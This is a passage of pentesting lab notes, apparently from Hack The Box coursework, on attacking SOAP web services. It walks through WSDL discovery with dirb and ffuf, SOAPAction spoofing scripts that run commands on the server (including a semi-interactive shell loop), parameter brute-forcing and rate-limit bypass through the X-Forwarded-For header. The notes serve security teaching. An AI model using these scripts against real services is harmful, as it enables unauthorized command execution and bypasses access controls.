But:
Possible Attack/Command:
dirb http://<TARGET IP>:<TARGET PORT>
Possible Result:
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Mar 25 11:53:09 2022
URL_BASE: http://<TARGET IP>/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://<TARGET IP>:3002/ ----
+ http://<TARGET IP>/wsdl (CODE:200|SIZE:0)
-----------------
END_TIME: Fri Mar 25 11:53:24 2022
DOWNLOADED: 4612 - FOUND: 1
WSDL is located at: http://<TARGET IP>/wsdl
If the previous URL will return empty (i.e. curl http://<TARGET IP>/wsdl
is empty) you may need to provide a param to signal the WSDL that you want to read some info:
ffuf -w "../SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/wsdl?FUZZ' -fs 0 -mc 200
Possible results:
ffuf -w /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.129.202.133:3002/wsdl?FUZZ -fs 0 -mc 200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.202.133:3002/wsdl?FUZZ
:: Wordlist : FUZZ: /opt/useful/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response size: 0
________________________________________________
WSDL [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 10ms]
wsdl [Status: 200, Size: 4461, Words: 967, Lines: 186, Duration: 8ms]
:: Progress: [6453/6453] :: Job [1/1] :: 4878 req/sec :: Duration: [0:00:01] :: Errors: 0 ::
Then just curl this url: curl http://10.129.202.133:3002/wsdl?wsdl
and you should get the xml back.
<wsdl:definitions targetNamespace="http://tempuri.org/"
<wsdl:types></wsdl:types>
<wsdl:message name="LoginSoapIn"></wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<wsdl:operation name="Login"></wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input></wsdl:input>
<wsdl:output></wsdl:output>
</wsdl:operation>
</wsdl:binding>
<wsdl:service name="HacktheboxService"></wsdl:service>
</wsdl:definitions>
<wsdl:types>
<s:schema elementFormDefault="qualified" targetNamespace="http://tempuri.org/">
<s:element name="LoginRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="username" type="s:string"/>
<s:element minOccurs="1" maxOccurs="1" name="password" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="LoginResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
<s:element name="ExecuteCommandResponse">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="unbounded" name="result" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
</s:schema>
</wsdl:types>
LoginRequest
for example<!-- Login Messages -->
<wsdl:message name="LoginSoapIn">
<wsdl:part name="parameters" element="tns:LoginRequest"/>
</wsdl:message>
<wsdl:message name="LoginSoapOut">
<wsdl:part name="parameters" element="tns:LoginResponse"/>
</wsdl:message>
<!-- ExecuteCommand Messages -->
<wsdl:message name="ExecuteCommandSoapIn">
<wsdl:part name="parameters" element="tns:ExecuteCommandRequest"/>
</wsdl:message>
<wsdl:message name="ExecuteCommandSoapOut">
<wsdl:part name="parameters" element="tns:ExecuteCommandResponse"/>
</wsdl:message>
<wsdl:portType name="HacktheBoxSoapPort">
<!-- Login Operaion | PORT -->
<wsdl:operation name="Login">
<wsdl:input message="tns:LoginSoapIn"/>
<wsdl:output message="tns:LoginSoapOut"/>
</wsdl:operation>
<!-- ExecuteCommand Operation | PORT -->
<wsdl:operation name="ExecuteCommand">
<wsdl:input message="tns:ExecuteCommandSoapIn"/>
<wsdl:output message="tns:ExecuteCommandSoapOut"/>
</wsdl:operation>
</wsdl:portType>
<wsdl:binding name="HacktheboxServiceSoapBinding" type="tns:HacktheBoxSoapPort">
<soap:binding transport="http://schemas.xmlsoap.org/soap/http"/>
<!-- SOAP Login Action -->
<wsdl:operation name="Login">
<soap:operation soapAction="Login" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
<!-- SOAP ExecuteCommand Action -->
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
</wsdl:binding>
interface
<wsdl:service name="HacktheboxService">
<wsdl:port name="HacktheboxServiceSoapPort" binding="tns:HacktheboxServiceSoapBinding">
<soap:address location="http://localhost:80/wsdl"/>
</wsdl:port>
</wsdl:service>
Every SOAP Action call should include the operation
and the parameters
of that operation. If the messages are transported via http
there is an additional HTTP Header called SOAPAction
that contains the operation
s name (so the webservice doesn't need to parse the entire xml for the operation
name).
If a web service considers only the SOAPAction attribute when determining the operation to execute, then it may be vulnerable to SOAPAction spoofing.
TL;DR: Spoof the name of an Action with the help of an HTTP Header to bypass security checks or execute operations that are meant for internal use/internal IPs only.
The SoapActions can be read from the wsdl definition file (see operations):
<wsdl:operation name="ExecuteCommand">
<soap:operation soapAction="ExecuteCommand" style="document"/>
We can see a SOAPAction operation called ExecuteCommand. Then we can take a look at the request params (in this example it's at ExecuteCommandRequest
):
<s:element name="ExecuteCommandRequest">
<s:complexType>
<s:sequence>
<s:element minOccurs="1" maxOccurs="1" name="cmd" type="s:string"/>
</s:sequence>
</s:complexType>
</s:element>
We could create a script to call this endpoint (or use a mitm proxy like BurpSuite):
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></ExecuteCommandRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
This script will try to execute the whoami
command. If this one will return an error similar to this one, we can bypass the checks:
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><ExecuteCommandResponse xmlns="http://tempuri.org/"><success>false</success><error>This function is only allowed in internal networks</error></ExecuteCommandResponse></soap:Body></soap:Envelope>'
We can bypass the checks, by passing in the ExecuteCommand
in the HTTP Header, but sending an XML that wants to execute another, publicly available function/operation like LoginRequest
:
import requests
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>whoami</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
Here we pass the LoginRequest
operation, but with the parameters of the ExecuteCommand
one.
<soap:Body>
, so that our request goes through. This operation is allowed from the outside.whoami
command.If the webservice determines the action based on the SOAPAction
header, we may bypass the restrictions and the server will execute the whoami
command.
This is what its response could look like:
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginResponse xmlns="http://tempuri.org/"><success>true</success><result>root\n</result></LoginResponse></soap:Body></soap:Envelope>'
And to make it semi-interactive we can create the following python script:
import requests
while True:
cmd = input("$ ")
payload = f'<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:tns="http://tempuri.org/" xmlns:tm="http://microsoft.com/wsdl/mime/textMatching/"><soap:Body><LoginRequest xmlns="http://tempuri.org/"><cmd>{cmd}</cmd></LoginRequest></soap:Body></soap:Envelope>'
print(requests.post("http://<TARGET IP>/wsdl", data=payload, headers={"SOAPAction":'"ExecuteCommand"'}).content)
See the full notes on command injections for more information about command injections in general.
ffuf -w "SecLists/Discovery/Web-Content/burp-parameter-names.txt" -u 'http://<TARGET IP>/?FUZZ=test_value'
import requests, sys
def brute():
try:
value = range(10000)
for val in value:
url = sys.argv[1]
r = requests.get(url + '/?id='+str(val))
if "position" in r.text:
print("Number found!", val)
print(r.text)
except IndexError:
print("Enter a URL E.g.: http://<TARGET IP>:3003/")
brute()
seq 1 10000 > numbers.txt
-mr
(match regex):ffuf -u http://10.129.202.133:3003/?id=FUZZ -w numbers.txt -mr 'position'
If there is a rate limit in place, you can always try to bypass it through headers such as X-Forwarded-For, X-Forwarded-IP, etc., or use proxies. These headers have to be compared with an IP most of the time. See an example below.
<?php
$whitelist = array("127.0.0.1");
if(!(in_array($_SERVER['HTTP_X_FORWARDED_FOR'], $whitelist)))
{
header("HTTP/1.1 401 Unauthorized");
}
else
{
print("bypass checks");
}
craft a mailicious payload that will make the reges evaluate slow/take long times to evaluate.
Regex Visualizer: https://jex.im/regulex/